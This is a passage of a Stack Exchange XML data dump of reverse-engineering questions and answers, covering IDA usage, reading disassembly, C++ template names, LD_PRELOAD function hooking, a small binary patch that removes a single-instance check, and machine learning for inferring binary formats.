&lt;code&gt;.asm&lt;/code&gt; file (&lt;code&gt;gen_file&lt;/code&gt; call), and run IDA with your own script:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;ida -c -A -Smyanalysis.idc -Lida.log input-file&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-05-19T07:05:08.427" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18447" PostTypeId="2" ParentId="18445" CreationDate="2018-06-04T09:49:57.770" Score="2" Body="&lt;p&gt;the first screen shot shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp al,59h &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;59h is ==&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\\&amp;gt;python -c &quot;print '%c' % 0x59&quot;&#xA;Y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it should correspond to your if clause &lt;strong&gt;(if ch[i] == 'Y')&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then that means &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the previous line in your source code is a for loop whose counter variable i is represented by  &lt;strong&gt;mov eax , [esp+140]&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it should have been initialized to 0 some where earlier in the block &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edx is the start of the the array (possibly 8 bit size) &lt;strong&gt;ch&lt;/strong&gt;&lt;br&gt;&#xA;it is a pointer   an address like 0x401234 in this line&lt;br&gt;&#xA;assuming 0x401234&lt;br&gt;&#xA;then the array would be accessd by&lt;br&gt;&#xA;0x401234+0 , +1 , +2 , +3 , +4 ,+5 ..... until the maximum value g (not shown in your screen shot )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the movzx line in your screen shot access the underlying variable ch[i] &#xA;or *(byte / char / type *) (0x401234 , ..5 , ..6 ,..7 , --so on until 0x401234+g )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the array would be accessed like this (esp+140) would be incremented at the &#xA;end of for loop iteration each time &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x401234 = 'Y' (edx = 401234 + ( eax = [esp+140] == 0 )) = *(char *)0x401234&#xA;0x401235 = 'Y' (edx = 401234 + ( eax = [esp+140] == 1 )) = *(char *)0x401235&#xA;0x401236 = 'Y' (edx = 401234 + ( eax = [esp+140] == 2 )) = *(char *)0x401236&#xA;..... until 0x401234+g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-06-04T11:50:27.867" LastActivityDate="2018-06-04T11:50:27.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18448" PostTypeId="2" ParentId="18442" CreationDate="2018-06-04T10:00:30.210" Score="2" Body="&lt;p&gt;you may need to reverse engineer the argument handling part  of the binary in question &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you could possibly enter bogus arguments and set a hardware break point on access to these bogus arguments  to narrow the code region that uses or compares these argumets &lt;/p&gt;&#xA;&#xA;&lt;p&gt;some times the arguments could be hashed and hash compared as shown in the answer below  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;there isn't a generic magic you need to handle these on case to case basis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i answered a similar question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14121/how-to-find-obfuscated-hidden-command-line-parameters/14134#14134&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-06-04T10:00:30.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18449" PostTypeId="2" ParentId="7991" CreationDate="2018-06-04T10:50:47.967" Score="1" Body="&lt;p&gt;Possibly the best disassembler &amp;amp; assembler is &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau&lt;/a&gt;. It's written in python. Bytecode viewer has built-in Krakatau, but it sometimes can't perform as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another one is &lt;a href=&quot;http://dirty-joe.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;dirtyjoe&lt;/a&gt; which is also a great tool.&lt;/p&gt;&#xA;" OwnerUserId="24368" LastActivityDate="2018-06-04T10:50:47.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18450" PostTypeId="2" ParentId="18439" CreationDate="2018-06-04T13:29:55.893" Score="6" Body="&lt;p&gt;There's a lot to Google on the topic, so take some time to do that and learn about what the *.dcr format is. A great initial point of reference for you is &lt;a href=&quot;https://zenhax.com/viewtopic.php?t=252&quot; rel=&quot;noreferrer&quot;&gt;this post on the ZenHAX forum&lt;/a&gt;, where a script or two have been created for use with their program, &lt;a href=&quot;http://aluigi.altervista.org/quickbms.htm&quot; rel=&quot;noreferrer&quot;&gt;QuickBMS&lt;/a&gt;. That won't teach you how to reverse the format, but if you spend some time reading &lt;a href=&quot;https://www.vg-resource.com/thread-28180.html&quot; rel=&quot;noreferrer&quot;&gt;what QuickBMS scripts are comprised of&lt;/a&gt;, you'll end up travelling down the path of reversing file formats using archives themselves as the sample.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually worked on reversing a Director application not too terribly long ago. I made notes and documented what I'd found at the time &lt;a href=&quot;https://www.betaarchive.com/forum/viewtopic.php?p=428167#p428167&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://www.betaarchive.com/forum/viewtopic.php?p=428500#p428500&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;, so those may be useful for ancillary points in regards to your studying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you'd probably be best suited to inquire around both the &lt;a href=&quot;https://zenhax.com/&quot; rel=&quot;noreferrer&quot;&gt;ZenHAX&lt;/a&gt; and &lt;a href=&quot;http://forum.xentax.com/&quot; rel=&quot;noreferrer&quot;&gt;XeNTaX&lt;/a&gt; forums, since they both primarily focus on reversing file formats. That should all get you started quite nicely in the direction you're interested in heading. =)&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-06-04T13:29:55.893" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18451" PostTypeId="1" AcceptedAnswerId="18457" CreationDate="2018-06-04T13:33:55.263" Score="4" ViewCount="325" Body="&lt;p&gt;This is somewhat open-ended question, so bear with me please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be it a binary payload that you pull from network packet, firmware blob you pull of some EPROM or data intercepted straight from physical bus - does anybody here use machine learning models to learn data representation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem here is that we have a large sequence(s) of binary data of known length which has some kind of a structure (think stream of IP packets) which is yet to be understood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming we have enough of this data, we can deduce data representations in unsupervised manner, e.g. if we have pcap capture of a network packet flow on ethernet network, we can deduce what ethernet header is, that it is typically followed by something like IP header, then UDP/TCP header and some paylond in the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jMOCs.png&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could replace &quot;classifier&quot; with whatever else we use those ML models (in this case probably RNN-GRU/LSTM) for nowadays (apart from classification it could generate fake traffic etc). But the point is that unlike with common ML domains such as natural language processing, I'm not aware of any model that can be used to replace manual parsing. Most popular NLP model to learn what words mean in context of a sequence nowadays is word2vec, but is there anything like that for representing binary sequences?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I used example in the image just to demonstrate the problem, that could very well be binary code of unknown architecture, USB request block or anything else, point being that it is typically highly structured, opaque and sequential binary input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the real question is, does anybody use ML for reverse engineering?&#xA;If so, do you mind sharing your experiences?&lt;/p&gt;&#xA;" OwnerUserId="24606" LastActivityDate="2019-12-11T03:43:39.760" Title="What are the popular machine learning unsupervised approaches to learning binary data representations?" Tags="|binary-analysis|binary|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18454" PostTypeId="1" AcceptedAnswerId="18455" CreationDate="2018-06-04T20:34:54.753" Score="10" ViewCount="468" Body="&lt;p&gt;IDA's functions window, the window that lists all functions identified by IDA, has several columns represented by a single letter/character each. See example in attached picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The characters are: &lt;code&gt;R&lt;/code&gt;, &lt;code&gt;F&lt;/code&gt;, &lt;code&gt;L&lt;/code&gt;, &lt;code&gt;S&lt;/code&gt;, &lt;code&gt;B&lt;/code&gt;, &lt;code&gt;T&lt;/code&gt; and &lt;code&gt;=&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BDyHW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BDyHW.png&quot; alt=&quot;functions window example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the meaning of each column/character?&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-06-17T05:42:23.010" LastActivityDate="2018-07-27T20:27:40.637" Title="What is the meaning of single letters in IDA's functions window?" Tags="|ida|tools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18455" PostTypeId="2" ParentId="18454" CreationDate="2018-06-04T20:34:54.753" Score="13" Body="&lt;p&gt;Every column value can be either a dot or the same column character. Those columns are boolean and the column character stands for &quot;True&quot; while the dot stands for &quot;False&quot;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;R stands for &quot;Returns&quot; and is True (has an &quot;R&quot; in the column's value instead of a dot) if the function returns. Functions may not return and this requires special handling by IDA and the reverse engineer.&lt;/li&gt;&#xA;&lt;li&gt;F stands for &quot;Far&quot; and is true for functions that are far functions, or false otherwise.&lt;/li&gt;&#xA;&lt;li&gt;L stands for &quot;Library&quot; function, and is true for functions IDA recognised as library functions (usually using &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;FLIRT&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;S stands for &quot;Static&quot; function.&lt;/li&gt;&#xA;&lt;li&gt;B stands for a E/R/BP stack frame based function. As part of IDA's analysis functions that use the xBP register for easier stack access are marked so.&lt;/li&gt;&#xA;&lt;li&gt;T stands for Type and indicates whether a function has type information assigned. Either manually or automatically by IDA using FLIRT.&lt;/li&gt;&#xA;&lt;li&gt;the equal sign (=) indicates the frame pointer is equal to the initial stack pointer. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of those values can be manually accessible using the &quot;Edit function&quot; dialog (&lt;kbd&gt;alt+p&lt;/kbd&gt;), like seen here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yNEtX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yNEtX.png&quot; alt=&quot;IDA edit function dialog&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also documented and can be found at &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/586.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hex-Rays website&lt;/a&gt;, with a shorter explanation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, according to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/18454/what-is-the-meaning-of-single-letters-in-idas-functions-window#comment29115_18455&quot;&gt;Arnaud Diederen&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;since 7.1, IDA also provides tooltips for those arguably cryptic single-letter columns. Just hover your mouse over the column header for a couple seconds, and the tooltip should appear.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-07-27T20:27:40.637" LastActivityDate="2018-07-27T20:27:40.637" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18456" PostTypeId="1" AcceptedAnswerId="18472" CreationDate="2018-06-04T20:57:07.410" Score="2" ViewCount="1714" Body="&lt;p&gt;i am trying to override predefined functions such as strcmp, getenv, etc.&#xA;i already override some of them using LD_PRELOAD options.&#xA;but i can't override string class, how can i override c++ string class&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i already tried something like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class string{&#xA;    char* str;&#xA;public:&#xA;    string (char* str2){&#xA;        str = str2;&#xA;        std::cout &amp;lt;&amp;lt; str2 &amp;lt;&amp;lt; std::endl ;&#xA;    }&#xA;    bool operator==(char* str2)  {&#xA;        std::cout &amp;lt;&amp;lt; &quot;c++ =&amp;gt; &quot; &amp;lt;&amp;lt; str &amp;lt;&amp;lt; &quot;==&quot; &amp;lt;&amp;lt; str2 &amp;lt;&amp;lt; std::endl;&#xA;        return false; &#xA;    }&#xA;    compare(char* str2)  {&#xA;        std::cout &amp;lt;&amp;lt; &quot;c++ =&amp;gt; &quot; &amp;lt;&amp;lt; str &amp;lt;&amp;lt; &quot;==&quot; &amp;lt;&amp;lt; str2 &amp;lt;&amp;lt; std::endl;&#xA;        return 0;&#xA;    }&#xA;};  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work i can't print the string that compared or even defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;compile;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g++ -g -Wall -shared -fPIC -ldl -o bypasscpp.so bypass.cpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And running program with;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LD_PRELOAD=&quot;./bypasscpp.so&quot; ./app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24593" LastEditorUserId="60" LastEditDate="2018-06-07T08:05:41.540" LastActivityDate="2018-06-07T08:36:08.430" Title="How to override c++ string class with LD_PRELOAD" Tags="|c++|function-hooking|decompile|gcc|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18457" PostTypeId="2" ParentId="18451" CreationDate="2018-06-04T21:11:59.617" Score="5" Body="&lt;p&gt;Inferring the structure of an unknown binary stream is a really difficult task, that I'm aware of only a few attempts at tackling:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/hgascon/pulsar&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pulsar&lt;/a&gt; is an example project but I suspect it is not really mature.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/netzob/netzob&quot; rel=&quot;nofollow noreferrer&quot;&gt;Netzob&lt;/a&gt; is another project, and it seems more complete.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/aoh/radamsa&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radamsa&lt;/a&gt; is a third project. looks more complete than Pulsar and more actively maintained than both.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I do not believe existing &quot;machine learning&quot; models and approaches are currently capable of statistically inferring structural information about binary data.  You'll have to resort to more basic statistical inference, and that process should probably be designed from beginning to end with the end goal in mind (seems to be &quot;malicious classification&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most approaches nowadays do not tackle the task of protocol inference in the process of malware classification (one could also make a few arguments against any advantage of doing so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In comparison to malware classification, I would say the task of protocol structure inference is more difficult to achieve and I would advise reevaluating if this is indeed a requirement you want to attempt meeting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure: I'm employed by a &quot;next gen AV&quot; that makes use of ML for malware classification and have been tinkering with protocol inference in the past.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-06-06T17:55:24.737" LastActivityDate="2018-06-06T17:55:24.737" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18458" PostTypeId="1" AcceptedAnswerId="18459" CreationDate="2018-06-05T04:10:12.907" Score="1" ViewCount="996" Body="&lt;p&gt;Among other approaches, there are ways to &quot;prettify&quot; obfuscated javascript. But most of such approaches are geared towards someone trying to understand code that's not their own (e.g. from a website, or something they took over, etc.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But suppose I am the owner/author of a script which is obfuscated in production and I notice an error in production. It is still not straightforward (even if I wrote the code) to map a function/variable from the obfuscated js to the regular version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a clean way I can have a map of corresponding variables/functions in the regular and obfuscated versions? &lt;/p&gt;&#xA;" OwnerUserId="24615" LastActivityDate="2018-06-05T04:55:05.623" Title="Map an obfuscated javascript file to the original" Tags="|obfuscation|deobfuscation|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18459" PostTypeId="2" ParentId="18458" CreationDate="2018-06-05T04:55:05.623" Score="0" Body="&lt;p&gt;This is highly dependant on your obfuscation technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're focused on translating obfuscated object (functions, variables) names back to the original function names, this could be achieved easily by creating the mapping while obfuscating your javascript code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the obfuscator's code is available to you (it should; or just get another obfuscation tool) adding that is trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're talking about something that's more than just variable and function names you may need to be more specific.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-06-05T04:55:05.623" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18461" PostTypeId="1" CreationDate="2018-06-05T09:03:09.290" Score="2" ViewCount="1274" Body="&lt;p&gt;I recently bought a &lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/B016RRQQIY&quot; rel=&quot;nofollow noreferrer&quot;&gt;KKmoon Portable RFID 125KHz Proximity Smart EM Card USB ID Reader&lt;/a&gt; from Amazon. I'm not currently able to locate a datasheet for the device. It reads tag IDs and prints them in plaintext over USB (presumably as keyboard input). The benefit of this device is that it's cheap and it works (as claimed) on multiple platforms including Android, which is a plus for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how to figure out what sort of hidden features and &quot;&lt;em&gt;modes&lt;/em&gt;&quot; (especially) are available for this device? For example, I would assume that the underlying hardware is able to sniff all communications on the 125 kHz channel. How would I go about getting the device to print all of this information over USB in whatever format it comes in? I'm thinking along the lines of turning the capabilities of this reader into a &lt;a href=&quot;https://github.com/emsec/ChameleonMini&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chameleon-like&lt;/a&gt; sniffer device for the 125 kHz spectrum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dmesg | tail&lt;/code&gt; lists the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[943853.964234] hidraw: raw HID events driver (C) Jiri Kosina&#xA;[943853.976407] usbcore: registered new interface driver usbhid&#xA;[943853.976409] usbhid: USB HID core driver&#xA;[943853.982645] input: Sycreader RFID Technology Co., Ltd SYC ID&amp;amp;IC USB Reader as /devices/pci0000:00/0000:00:14.0/usb3/3-2/3-2:1.0/0003:08FF:0009.0001/input/input17&#xA;[943854.042578] hid-generic 0003:08FF:0009.0001: input,hidraw0: USB HID v1.10 Keyboard [Sycreader RFID Technology Co., Ltd SYC ID&amp;amp;IC USB Reader] on usb-0000:00:14.0-2/input0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the relevant output from &lt;code&gt;lsusb&lt;/code&gt; is:&#xA;&lt;code&gt;Bus 003 Device 002: ID 08ff:0009 AuthenTec, Inc.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can write C / kernel code that will enumerate the ioctl's of the device if this would be useful. Can someone please pass on some pointers about the reverse engineering aspects of this project? Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="22389" LastEditorUserId="2147" LastEditDate="2018-06-07T01:08:45.013" LastActivityDate="2018-06-07T01:08:45.013" Title="Hidden Features of a USB RFID Reader" Tags="|usb|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18462" PostTypeId="1" CreationDate="2018-06-05T16:42:07.747" Score="0" ViewCount="688" Body="&lt;p&gt;I am trying to reverse engineer an application. I don't understand is this MFC framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j6vDE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j6vDE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should i learn MFC to understand the following code.&#xA;or is it Win32 code developing. But how Win32 works with resource and it's content. &#xA;Like if i want to have an dialog i have to create an dialog in resource section.&#xA;This is what we learn when we learn MFC framework. &#xA;But looking at the snap shoot what source code is it ? is it raw source code if so then you how Win32 resource work together.&#xA;Can you give me the guide line what framework and programming tactic used in following disassembly (snap shoot). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: Guide suggestion appreciated. &lt;/p&gt;&#xA;" OwnerUserId="24603" LastActivityDate="2018-06-06T10:27:48.063" Title="Help me to understand disassembly MFC or Win32" Tags="|disassembly|assembly|mfc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18463" PostTypeId="1" AcceptedAnswerId="18466" CreationDate="2018-06-05T19:19:00.290" Score="5" ViewCount="5618" Body="&lt;p&gt;I've a X64 DLL file which uses C++ standard library heavily. I've loaded the PDB symbol file in IDA and all the subroutines names &lt;code&gt;sub_xxyz&lt;/code&gt; changes to &lt;code&gt;std::xyz&lt;/code&gt;, which is as expected. But there are many subroutines, for example one name is like &lt;code&gt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;&amp;gt;::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;&amp;gt;(void *Dst, _BYTE *a2, __int64 a3)&lt;/code&gt;. Too long, isn't it ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the hood, all these subroutines mainly do some memory manipulation with &lt;code&gt;malloc()&lt;/code&gt;, &lt;code&gt;memcpy()&lt;/code&gt;, &lt;code&gt;memmove()&lt;/code&gt; etc. Hence my question, Can I simplify those subroutines in IDA by any means?&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2020-04-04T09:18:33.553" Title="How to simplify C++ standard template library in IDA?" Tags="|ida|disassembly|c++|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18465" PostTypeId="2" ParentId="17889" CreationDate="2018-06-05T21:05:59.923" Score="0" Body="&lt;p&gt;I did it. First I replaced the first instructions of the subroutine calling Windows API's CreateMutex by the &quot;ret&quot; of this function (it wasn't only &quot;ret&quot;, but &quot;ret xxxh&quot;, i don't know why). Then, I avoided the error call when handle is 0 (null) with a simple &quot;jz&quot; to &quot;jmp&quot; change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I could also have nopped the call and the 3 arguments before it, instead of replacing the first instruction of the call by ret.&lt;/p&gt;&#xA;" OwnerUserId="23595" LastEditorUserId="23595" LastEditDate="2018-06-06T22:46:23.630" LastActivityDate="2018-06-06T22:46:23.630" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18466" PostTypeId="2" ParentId="18463" CreationDate="2018-06-05T21:35:28.137" Score="4" Body="&lt;p&gt;Although this function name is indeed quite long, there's no easy way to simplify it nor is it too difficult to understand once you gain decent C++ development experience, using std especially. The TLDR answer is that this is a constructor for a &lt;a href=&quot;http://www.cplusplus.com/reference/string/string/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;std::string&lt;/code&gt;&lt;/a&gt; object (specifically this looks like the &lt;a href=&quot;http://www.cplusplus.com/reference/string/string/string/&quot; rel=&quot;nofollow noreferrer&quot;&gt;substring(3) constructor&lt;/a&gt;, but I'm not 100% sure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you visit the &lt;a href=&quot;http://www.cplusplus.com/reference/string/string/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;std::string&lt;/code&gt; reference page&lt;/a&gt;, you'll see this is the definition for &lt;code&gt;std::string&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef std::basic_string&amp;lt;char&amp;gt; string; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;std::string&lt;/code&gt; class is being defined using the &lt;code&gt;std::basic_string&lt;/code&gt; class template, which has three template parameters:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the character type used for the string object.&lt;/li&gt;&#xA;&lt;li&gt;an object to control some string traits.&lt;/li&gt;&#xA;&lt;li&gt;The allocator used to actually allocate the string buffers for the class.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;std::string&lt;/code&gt; case, however, only the first template parameter is provided - the other two are the default ones defined based on the first template parameter (char), and although they can be replaced with different or more complex traits or allocators, this isn't the case for the &lt;code&gt;std::string&lt;/code&gt; class. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the typedef string is pretty simple and straightforward thanks to the default templates parameters being unspecified, when the object is built and actually defined by the compiler the full definition is used, which adds a lot of boilerplate definitions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we split it up to it's parts, we'll see &lt;code&gt;std::basic_string&lt;/code&gt; is being used and three template parameters are specified. As mentioned for the &lt;code&gt;std::string&lt;/code&gt;, the second (&lt;code&gt;std::char_traits&amp;lt;char&amp;gt;&lt;/code&gt;) and third (&lt;code&gt;std::allocator&amp;lt;char&amp;gt;&lt;/code&gt;) are derived by the first and are both templates by themselves, receiving the same template parameter &lt;code&gt;std::basic_string&lt;/code&gt; got (&lt;code&gt;char&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the class definition, the two colons indicate a definition of an object under the class namespace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;&amp;gt;(void *Dst, _BYTE *a2, __int64 a3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can easily see this is a function that has the same name as the class itself, which is the known way to define a constructor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, as with every function we have the parameters this function accepts inside the parentheses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void *Dst, _BYTE *a2, __int64 a3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To simplify the full definition back to &lt;code&gt;std::basic_string&amp;lt;char&amp;gt;&lt;/code&gt;, one would need to hold the default template parameters for all std template classes, and strip the ones that are recognized as the default ones. Although this is not a very difficult task, it seems a little redundant to me. You are obviously encouraged to either develop such a plugin yourself or suggest the feature improvement to the IDA development team.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-06-05T21:42:15.750" LastActivityDate="2018-06-05T21:42:15.750" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="18467" PostTypeId="1" CreationDate="2018-06-06T09:27:10.450" Score="0" ViewCount="919" Body="&lt;p&gt;I am having trouble understanding working with structs in assembly from disassembly. &#xA;can you please explain the code below. Disassembly below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zJhO2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zJhO2.jpg&quot; alt=&quot;disassembly snippet&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d4zvB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d4zvB.jpg&quot; alt=&quot;source code snippet&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24603" LastEditorUserId="60" LastEditDate="2018-06-06T19:09:48.810" LastActivityDate="2018-06-07T12:17:14.103" Title="Explain struct access in assembly?" Tags="|disassembly|assembly|compiler-optimization|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
